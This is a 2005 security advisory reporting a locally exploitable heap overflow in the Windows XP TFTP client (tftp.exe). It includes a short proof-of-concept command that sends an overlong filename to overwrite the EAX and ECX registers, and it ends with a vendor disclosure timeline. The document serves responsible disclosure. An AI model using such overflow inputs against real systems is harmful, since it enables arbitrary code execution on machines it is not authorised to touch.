[NT] Windows XP SP2 TFTP Client Local Buffer Overflow

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Windows XP SP2 TFTP Client Local Buffer Overflow
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SUMMARY

TFTP stands for Trivial File Transfer Protocol. Network application that
is simpler than the File Transfer Protocol (FTP) but less capable. TFTP
built on UDP.

The TFTP client provided with Windows XP (tftp.exe) is vulnerable to a
locally exploitable heap overflow.

DETAILS

Vulnerable Systems:
* Windows XP - TFTP.EXE version 5.1.2600.0 (xpclient.010817-1148)

The Windows XP tftp.exe software is vulnerable to a Heap Based overflow,
allowing to run arbitrary commands on the system as the user issuing the
overflow. The registers EAX and ECX are controlled, by sending 1446 bytes
of crap or payload and then the next 8 bytes are the EAX and ECX.

Proof of concept:
tftp -i 127.0.0.1 GET
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<snip>CCCCBBBB

Disclosure Timeline:
* 01.08.05 - Vulnerability discovered
* 15.08.05 - Research completed
* 19.08.05 - Vendor notified
* 19.08.05 - Security vulnerability tagged tftp [6167bgs] at Microsoft
* 08.09.05 - Microsoft responds with an timeframe of fix - See Corrective
actions
* 03.10.05 - Public release

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisory@cirt.dk> Dennis
Rand.
The original article can be found at:
<http://www.cirt.dk/advisories/cirt-38-advisory.pdf>
http://www.cirt.dk/advisories/cirt-38-advisory.pdf

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